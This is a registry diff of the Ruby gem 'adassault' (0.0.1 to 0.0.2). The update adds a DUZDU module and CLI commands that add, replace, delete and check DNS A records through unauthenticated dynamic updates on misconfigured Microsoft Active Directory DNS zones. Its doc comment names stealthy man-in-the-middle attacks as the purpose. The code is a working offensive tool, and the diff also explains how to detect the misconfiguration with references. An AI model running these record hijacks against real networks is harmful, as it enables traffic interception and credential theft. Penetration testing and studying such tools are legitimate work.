adassault 0.0.1 → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: b131722d9575f757c8cdf53cac4e4419d9968d5eeb11a66dabb4ef542fe85a5c
4
- data.tar.gz: bf1de9fd4ddc2dd772980bc93945fd23309e5c7634e79bcb1171530e5b48db9c
3
+ metadata.gz: 1388914e53e2194919173dcbe9cc809e1fff39b3843f8768459343ac68812fa3
4
+ data.tar.gz: 9c81ba10c6f2fc8dc0858b2bea49e3b399515d4d471b2255e469a9430f386425
5
5
  SHA512:
6
- metadata.gz: bf803a032eb88ccc4444eebbf32c8edf94dc724ceec842e82855e6e75943e75e84e01514633f33f09565017dae052698d23ae7973b895863298f9318131eddbe
7
- data.tar.gz: 31826ce2fed8ac57816ecbcfcd3063ea985f94f5dbdc908fcb0f51af5ae89d518866a20daad76e73f78ed1b2b0ecfeaf1ea823b2517591d2c29e8d566fbbba89
6
+ metadata.gz: aabce798d3bf5b4bd1831751ee0416852f2904b439781d1e74fd41a3793dba6c17152ba991b6d334bf6b4507f4e892389697c7a90b8da527a292992faf26472e
7
+ data.tar.gz: d754da4dcf1516025be52d5e49a594f04d117717c8f82058b12899332a651a01c177387aa43a4ff80e7fb1c852a614c2f4f6f787f516e7e2d79f8726502b20b8
@@ -0,0 +1,34 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'adassault/cli/dns/duzdu/baseaction'
4
+
5
+ module ADAssault
6
+ class CLI
7
+ module DNS
8
+ module DUZDU
9
+ # command: `ada dns duzdu add`
10
+ class Add < BaseAction
11
+ def run(args)
12
+ res = @duz.addv4(args[0], args[1])
13
+ @duz.display(res, self.class.command_name)
14
+ end
15
+
16
+ class << self
17
+ def description
18
+ 'Add a DNS A record (IPv4) via dynamic updates'
19
+ end
20
+
21
+ def long_description
22
+ '<name>: DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org' \
23
+ "\n\n<ip>: IP address."
24
+ end
25
+
26
+ def arguments
27
+ %i[<name> <ip>]
28
+ end
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
34
+ end
@@ -0,0 +1,59 @@
1
+ # frozen_string_literal: true
2
+
3
+ # AD Assault lib
4
+ require 'adassault/dns'
5
+ # options / arguments parsing lib
6
+ require 'gli'
7
+
8
+ module ADAssault
9
+ class CLI
10
+ extend GLI::App
11
+
12
+ module DNS
13
+ module DUZDU
14
+ # stuff common to all duzdu's sub-commands
15
+ class BaseAction
16
+ def initialize(options)
17
+ parent_options = options.dig(GLI::Command::PARENT, GLI::Command::PARENT)
18
+ dns_opts = parent_options[:nameserver].nil? ? nil : { nameserver: [parent_options[:nameserver]] }
19
+ @duz = ADAssault::DNS::DUZDU.new(parent_options[:domain], dns_opts)
20
+ end
21
+
22
+ def run(_args)
23
+ raise NotImplementedError, 'Sub-class must implement this method'
24
+ end
25
+
26
+ class << self
27
+ def command_name
28
+ name.split('::').last.downcase
29
+ end
30
+
31
+ def description
32
+ raise NotImplementedError, 'Sub-class must implement this method'
33
+ end
34
+
35
+ def long_description
36
+ raise NotImplementedError, 'Sub-class must implement this method'
37
+ end
38
+
39
+ def arguments
40
+ raise NotImplementedError, 'Sub-class must implement this method'
41
+ end
42
+
43
+ def register(parent_command)
44
+ parent_command.desc description
45
+ parent_command.long_desc long_description unless long_description.empty?
46
+ arguments.each { |argument| parent_command.arg argument } # won't register args if arguments is empty
47
+ parent_command.command command_name.to_sym do |cmd|
48
+ cmd.action do |_global_options, options, args|
49
+ action = new(options)
50
+ action.run(args)
51
+ end
52
+ end
53
+ end
54
+ end
55
+ end
56
+ end
57
+ end
58
+ end
59
+ end
@@ -0,0 +1,33 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'adassault/cli/dns/duzdu/baseaction'
4
+
5
+ module ADAssault
6
+ class CLI
7
+ module DNS
8
+ module DUZDU
9
+ # command: `ada dns duzdu check`
10
+ class Check < BaseAction
11
+ def run(_args)
12
+ res = @duz.checkv4
13
+ @duz.display(res, self.class.command_name)
14
+ end
15
+
16
+ class << self
17
+ def description
18
+ 'Check if unsecure dynamic updates are allowed (IPv4)'
19
+ end
20
+
21
+ def long_description
22
+ ''
23
+ end
24
+
25
+ def arguments
26
+ []
27
+ end
28
+ end
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
@@ -0,0 +1,33 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'adassault/cli/dns/duzdu/baseaction'
4
+
5
+ module ADAssault
6
+ class CLI
7
+ module DNS
8
+ module DUZDU
9
+ # command: `ada dns duzdu delete`
10
+ class Delete < BaseAction
11
+ def run(args)
12
+ res = @duz.deletev4(args[0])
13
+ @duz.display(res, self.class.command_name)
14
+ end
15
+
16
+ class << self
17
+ def description
18
+ 'Remove a DNS A record (IPv4) via dynamic updates'
19
+ end
20
+
21
+ def long_description
22
+ '<name>: DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org'
23
+ end
24
+
25
+ def arguments
26
+ %i[<name>]
27
+ end
28
+ end
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
@@ -0,0 +1,34 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'adassault/cli/dns/duzdu/baseaction'
4
+
5
+ module ADAssault
6
+ class CLI
7
+ module DNS
8
+ module DUZDU
9
+ # command: `ada dns duzdu get`
10
+ class Get < BaseAction
11
+ def run(args)
12
+ name = args.first
13
+ res = @duz.getv4(name)
14
+ @duz.display_record(name, res)
15
+ end
16
+
17
+ class << self
18
+ def description
19
+ 'Get the value(s) of a DNS A record (IPv4) from the domain'
20
+ end
21
+
22
+ def long_description
23
+ '<name>: DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org'
24
+ end
25
+
26
+ def arguments
27
+ %i[<name>]
28
+ end
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
34
+ end
@@ -0,0 +1,34 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'adassault/cli/dns/duzdu/baseaction'
4
+
5
+ module ADAssault
6
+ class CLI
7
+ module DNS
8
+ module DUZDU
9
+ # command: `ada dns duzdu replace`
10
+ class Replace < BaseAction
11
+ def run(args)
12
+ res = @duz.replacev4(args[0], args[1])
13
+ @duz.display(res, self.class.command_name)
14
+ end
15
+
16
+ class << self
17
+ def description
18
+ 'Change the value of an existing DNS A record (IPv4) via dynamic updates'
19
+ end
20
+
21
+ def long_description
22
+ '<name>: DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org' \
23
+ "\n\n<ip>: IP address."
24
+ end
25
+
26
+ def arguments
27
+ %i[<name> <ip>]
28
+ end
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
34
+ end
@@ -0,0 +1,19 @@
1
+ # frozen_string_literal: true
2
+
3
+ # AD Assault CLI: DUZDU sub-commands
4
+ require 'adassault/cli/dns/duzdu/add'
5
+ require 'adassault/cli/dns/duzdu/check'
6
+ require 'adassault/cli/dns/duzdu/delete'
7
+ require 'adassault/cli/dns/duzdu/get'
8
+ require 'adassault/cli/dns/duzdu/replace'
9
+
10
+ module ADAssault
11
+ class CLI
12
+ # command: `ada dns`
13
+ module DNS
14
+ # command: `ada dns duzdu`
15
+ module DUZDU
16
+ end
17
+ end
18
+ end
19
+ end
@@ -1,47 +1,39 @@
1
1
  # frozen_string_literal: true
2
2
 
3
- require 'adassault/dns'
3
+ require 'adassault/cli/dns/duzdu'
4
4
  require 'gli'
5
5
 
6
6
  module ADAssault
7
7
  class CLI
8
8
  extend GLI::App
9
9
 
10
- desc 'DNS related commands'
10
+ # dns
11
11
  # since 0.0.1
12
+ desc 'DNS related commands'
12
13
  command :dns do |dns|
13
- dns.desc 'Spot all domain controllers in a Microsoft Active Directory environment'
14
+ dns.flag %i[d domain], desc: 'Active Directory domain.', type: String, required: true, arg_name: 'DOMAIN'
15
+ dns.flag %i[s nameserver name-server],
16
+ desc: 'The IP address of the domain DNS server. If not provided uses your system DNS.',
17
+ type: String, required: false, arg_name: 'IP_ADDRESS'
18
+
19
+ # dns find_dcs
14
20
  # since 0.0.1
21
+ dns.desc 'Spot all domain controllers in a Microsoft Active Directory environment'
15
22
  dns.command :find_dcs do |find_dcs|
16
- find_dcs.flag %i[d domain], desc: 'Active Directory domain.', type: String, required: false
17
- find_dcs.flag %i[s nameserver name-server],
18
- desc: 'The IP address of the domain DNS server. If not provided uses your system DNS.',
19
- type: String
20
23
  find_dcs.action do |_global_options, options, _args|
21
- dns_opts = options[:nameserver].nil? ? nil : { nameserver: [options[:nameserver]] }
22
- dcd = ADAssault::DNS::FindDCs.new(options[:domain], dns_opts)
24
+ parent_options = options[GLI::Command::PARENT]
25
+ dns_opts = parent_options[:nameserver].nil? ? nil : { nameserver: [parent_options[:nameserver]] }
26
+ dcd = ADAssault::DNS::FindDCs.new(parent_options[:domain], dns_opts)
23
27
  dcd.display
24
28
  end
25
29
  end
26
30
 
27
- dns.desc 'TODO'
28
- dns.command :entry_add do |entry_add|
29
- entry_add.action do |_global_options, _options, _args|
30
- puts 'entry_add'
31
- end
32
- end
33
-
34
- dns.desc 'TODO'
35
- dns.command :entry_delete do |entry_delete|
36
- entry_delete.action do |_global_options, _options, _args|
37
- puts 'entry_delete'
38
- end
39
- end
40
-
41
- dns.desc 'TODO'
42
- dns.command :entry_update do |entry_update|
43
- entry_update.action do |_global_options, _options, _args|
44
- puts 'entry_update'
31
+ # dns duzdu
32
+ # since 0.0.2
33
+ dns.desc 'DNS unsecure zone dynamic update (DUZDU)'
34
+ dns.command :duzdu do |duzdu|
35
+ %w[add check delete get replace].each do |sub_command|
36
+ DNS::DUZDU.const_get(sub_command.capitalize).register(duzdu)
45
37
  end
46
38
  end
47
39
  end
data/lib/adassault/cli.rb CHANGED
@@ -14,6 +14,7 @@ module ADAssault
14
14
  extend GLI::App
15
15
 
16
16
  program_desc 'ADAsault desc'
17
+ arguments :strict
17
18
  subcommand_option_handling :normal
18
19
  sort_help :alpha # :manually
19
20
  version ADAssault::VERSION
@@ -0,0 +1,175 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'ipaddr'
4
+ require 'random/formatter'
5
+
6
+ require 'dnsruby'
7
+ require 'paint'
8
+
9
+ module ADAssault
10
+ module DNS
11
+ # **DNS unsecure zone dynamic update (DUZDU).**
12
+ #
13
+ # On a misconfigured MS DNS zone, one can abuse dynamic updates to perform MiTM attacks in a very stealth way.
14
+ #
15
+ # On a Windows server with the DNS role, the `DSPROPERTY_ZONE_ALLOW_UPDATE` property defines whether dynamic updates are allowed. See [Microsoft - MS-DNSP - 2.3.2.1.1 Property Id](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/3af63871-0cc4-4179-916c-5caade55a8f3).
16
+ # The possible values (`fAllowUpdate`) are (see [Microsoft - MS-DNSP - 2.2.5.2.4.1 DNS_RPC_ZONE_INFO_W2K](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/e8651544-0fbb-4038-8232-375ff2d8a55e)):
17
+ #
18
+ # - `0` (`ZONE_UPDATE_OFF`): No updates are allowed for the zone.
19
+ # - `1` (`ZONE_UPDATE_UNSECURE`): All updates (secure and unsecure) are allowed for the zone.
20
+ # - `2` (`ZONE_UPDATE_SECURE`): The zone only allows secure updates, that is, DNS packet MUST have a TSIG [RFC2845] present in the additional section.
21
+ #
22
+ # One can see the property when connected to the DNS server (near 100% of times on the domain controller), with the command: `dnscmd.exe /ZoneInfo <example: thm.local>` and the value of `update`.
23
+ # Another option with the GUI, is to launch `DNS Manager` on the Windows server, then unfold the tree until the DNS zone, right click on it, select `Properties`, on the `General` tab, see the value of the select fields named `Dynamic updates`.
24
+ # Of course it is also possible to check remotly by trying to create a record. (see {DUZDU#checkv4})
25
+ #
26
+ # References:
27
+ #
28
+ # - [[FR] ANSSI - Points de contrôle Active Directory - Zones DNS mal configurées (vuln_dnszone_bad_prop)](https://www.cert.ssi.gouv.fr/uploads/ad_checklist.html)
29
+ # - [[FR] ANSSI - Bulletin d'alerte du CERT-FR - Multiples vulnérabilités dans Microsoft DNS server - CERTFR-2021-ALE-005](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-005/)
30
+ # - [[EN] RFC 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE)](https://datatracker.ietf.org/doc/html/rfc2136)
31
+ # - [[EN] RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG)](https://datatracker.ietf.org/doc/html/rfc2845)
32
+ # - [[EN] RFC 3007 - Secure Domain Name System (DNS) Dynamic Update](https://datatracker.ietf.org/doc/html/rfc3007)
33
+ # - [[EN] RFC 4033 - DNS Security Introduction and Requirements](https://datatracker.ietf.org/doc/html/rfc4033)
34
+ # - [[EN] RFC 4034 - Resource Records for the DNS Security Extensions](https://datatracker.ietf.org/doc/html/rfc4034)
35
+ # - [[EN] RFC 4035 - Protocol Modifications for the DNS Security Extensions](https://datatracker.ietf.org/doc/html/rfc4035)
36
+ # - [[EN] RFC 6895 - Domain Name System (DNS) IANA Considerations](https://datatracker.ietf.org/doc/html/rfc6895)
37
+ # - [[EN] RFC 8945 - Secret Key Transaction Authentication for DNS (TSIG)](https://datatracker.ietf.org/doc/html/rfc8945)
38
+ # @since 0.0.2
39
+ class DUZDU
40
+ # **Create the DUZDU object**
41
+ # @param ad_domain [String] the Active Directory domain to work on.
42
+ # @param dns_opts [Hash] options for the DNS resolver. See [Resolv::DNS.new](https://ruby-doc.org/3.3.0/stdlibs/resolv/Resolv/DNS.html#method-c-new).
43
+ # @option dns_opts [Array|String] :nameserver the DNS server to contact
44
+ # @example
45
+ # duz = ADAssault::DNS::DUZDU.new('THM.local', nameserver: ['10.10.30.209'])
46
+ def initialize(ad_domain, dns_opts = nil)
47
+ @ad_domain = ad_domain
48
+ @dns_opts = dns_opts
49
+ end
50
+
51
+ # **Change the value of an existing DNS A record (IPv4) via dynamic updates**
52
+ #
53
+ # It will remove and recreate the record.
54
+ #
55
+ # **Warning**: if several entries exist for the same record, they will all be replaced by the new value.
56
+ # @param name [String] DNS name, A record. The domain is automatically appended, e.g. `test` ➡️ `test.example.org`
57
+ # @param ip [String] IP address
58
+ # @return [TrueClass|FalseClass] `true` if the record was changed successfully
59
+ # @example
60
+ # duz.replacev4('noraj', '10.10.56.126') # => true
61
+ def replacev4(name, ip)
62
+ deletev4(name)
63
+ addv4(name, ip)
64
+ end
65
+
66
+ # **Add a DNS A record (IPv4) via dynamic updates**
67
+ #
68
+ # **Warning**: adding 2nd value the same name will result in two entries for the same record, not updating the name (for that use {replacev4}).
69
+ # @param name [String] DNS name, A record. The domain is automatically appended, e.g. `test` ➡️ `test.example.org`
70
+ # @param ip [String] IP address
71
+ # @return [TrueClass|FalseClass] `true` if the record was added successfully
72
+ # @example
73
+ # duz.addv4('noraj', '10.10.56.125') # => true
74
+ def addv4(name, ip)
75
+ update = Dnsruby::Update.new(@ad_domain)
76
+ update.add("#{name}.#{@ad_domain}.", 'A', 300, ip)
77
+ send_update(update)
78
+ end
79
+
80
+ # **Remove a DNS A record (IPv4) via dynamic updates**
81
+ #
82
+ # **Warning**: if several entries exist for the same record, they will all be deleted.
83
+ # @param name [String] DNS name, A record. The domain is automatically appended, e.g. `test` ➡️ `test.example.org`
84
+ # @return [TrueClass|FalseClass] `true` if the record was removed successfully
85
+ # @example
86
+ # duz.deletev4('noraj') # => true
87
+ def deletev4(name)
88
+ update = Dnsruby::Update.new(@ad_domain)
89
+ update.present("#{name}.#{@ad_domain}", 'A')
90
+ update.delete("#{name}.#{@ad_domain}", 'A')
91
+ send_update(update)
92
+ end
93
+
94
+ # rubocop:disable Metrics/AbcSize
95
+
96
+ # **Check if unsecure dynamic updates are allowed (IPv4)**
97
+ #
98
+ # It will try to create a random IPv4 record in the zone and remove it.
99
+ # @return [TrueClass|FalseClass] `true` means unsecure dynamic updates are enabled
100
+ # @example
101
+ # duz.checkv4 # => false
102
+ def checkv4
103
+ networks = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'].map { |x| IPAddr.new(x) }
104
+ network = networks.sample
105
+ name = Random.uuid_v4
106
+ ip = IPAddr.new(rand(network.to_range.begin.succ.to_i..network.to_range.end.to_i - 1), network.family)
107
+ created = addv4(name, ip)
108
+ # if created
109
+ # deletev4(name)
110
+ # true
111
+ # else
112
+ # false
113
+ # end
114
+ created ? deletev4(name) || true : false
115
+ end
116
+ # rubocop:enable Metrics/AbcSize
117
+
118
+ # **Get the value(s) of a DNS A record (IPv4)**
119
+ # @param name [String] DNS name, A record. The domain is automatically appended, e.g. `test` ➡️ `test.example.org`
120
+ # @return [Array<String>] the IP address(es) as string(s)
121
+ # @example
122
+ # duz.getv4('noraj') # => ["10.10.56.128", "10.10.56.126"]
123
+ def getv4(name)
124
+ Dnsruby::DNS.open(@dns_opts) do |dns|
125
+ ress = dns.getresources("#{name}.#{@ad_domain}", 'A')
126
+ ress.map { |x| x.address.to_s }
127
+ rescue Dnsruby::NXDomain # The requested domain does not exist
128
+ ['']
129
+ end
130
+ end
131
+
132
+ # Display a CLI-friendly output showing if the executed method was successful or not
133
+ # @param success [TrueClass|FalseClass] result of the command
134
+ # @param cmd [String] name of the executed command
135
+ # @return [nil]
136
+ def display(success, cmd)
137
+ # allowed_methods = DUZDU.public_instance_methods(false) - [:display]
138
+ # success = allowed_methods.include?(cmd.to_sym) ? send(cmd) : nil
139
+ message = if success
140
+ Paint["✅ #{cmd} was executed successfully",
141
+ 'green']
142
+ else
143
+ Paint["❌ #{cmd} was unsuccessful", 'red']
144
+ end
145
+ puts message
146
+ end
147
+
148
+ # Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.
149
+ # @param name [String] record name, e.g. the argument of {getv4}
150
+ # @param ips [Array<String>] list of IP addresses, e.g. the return value of {getv4}
151
+ # @return [nil]
152
+ def display_record(name, ips)
153
+ fqdn = "#{name}.#{@ad_domain}"
154
+ puts "#{Paint[fqdn, 'cyan']} - #{Paint[ips.join(', '), 'aquamarine']}"
155
+ end
156
+
157
+ protected
158
+
159
+ # **Send a DNS update request via dynamic updates**
160
+ # @param update [Dnsruby::Update]
161
+ # @return [TrueClass|FalseClass] `true` if the update succeeded
162
+ # @example see {addv4} and {deletev4}
163
+ def send_update(update)
164
+ res = Dnsruby::Resolver.new(@dns_opts)
165
+ begin
166
+ res.send_message(update)
167
+ true
168
+ rescue Dnsruby::ResolvError, Dnsruby::ResolvTimeout => e
169
+ puts "Update failed: #{e}"
170
+ false
171
+ end
172
+ end
173
+ end
174
+ end
175
+ end
data/lib/adassault/dns.rb CHANGED
@@ -1,3 +1,4 @@
1
1
  # frozen_string_literal: true
2
2
 
3
+ require 'adassault/dns/duzdu'
3
4
  require 'adassault/dns/find_dcs'
@@ -2,5 +2,5 @@
2
2
 
3
3
  module ADAssault
4
4
  # Version of ADAssault library and app
5
- VERSION = '0.0.1'
5
+ VERSION = '0.0.2'
6
6
  end
metadata CHANGED
@@ -1,15 +1,35 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: adassault
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1
4
+ version: 0.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Alexandre ZANNI
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-06-23 00:00:00.000000000 Z
11
+ date: 2024-07-31 00:00:00.000000000 Z
12
12
  dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: dnsruby
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '1.72'
20
+ - - ">="
21
+ - !ruby/object:Gem::Version
22
+ version: 1.72.1
23
+ type: :runtime
24
+ prerelease: false
25
+ version_requirements: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - "~>"
28
+ - !ruby/object:Gem::Version
29
+ version: '1.72'
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: 1.72.1
13
33
  - !ruby/object:Gem::Dependency
14
34
  name: gli
15
35
  requirement: !ruby/object:Gem::Requirement
@@ -53,7 +73,15 @@ files:
53
73
  - lib/adassault.rb
54
74
  - lib/adassault/cli.rb
55
75
  - lib/adassault/cli/dns.rb
76
+ - lib/adassault/cli/dns/duzdu.rb
77
+ - lib/adassault/cli/dns/duzdu/add.rb
78
+ - lib/adassault/cli/dns/duzdu/baseaction.rb
79
+ - lib/adassault/cli/dns/duzdu/check.rb
80
+ - lib/adassault/cli/dns/duzdu/delete.rb
81
+ - lib/adassault/cli/dns/duzdu/get.rb
82
+ - lib/adassault/cli/dns/duzdu/replace.rb
56
83
  - lib/adassault/dns.rb
84
+ - lib/adassault/dns/duzdu.rb
57
85
  - lib/adassault/dns/find_dcs.rb
58
86
  - lib/adassault/version.rb
59
87
  homepage: https://noraj.github.io/adassault/